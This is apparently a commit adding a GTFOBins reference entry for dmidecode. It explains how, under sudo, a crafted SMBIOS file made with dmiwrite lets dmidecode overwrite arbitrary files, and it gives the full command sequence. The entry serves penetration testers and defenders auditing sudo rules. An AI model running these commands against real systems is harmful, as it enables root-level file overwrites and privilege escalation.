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Add dmidecode
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_gtfobins/dmidecode.md
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_gtfobins/dmidecode.md
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---
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functions:
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sudo:
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- description: |
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It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.
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Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.
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- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.
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- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.
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```
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make dmiwrite
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TF=$(mktemp)
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echo "DATA" > $TF
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./dmiwrite $TF x.dmi
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```
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code: |
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LFILE=file_to_write
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sudo dmidecode --no-sysfs -d x.dmi --dump-bin "$LFILE"
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---
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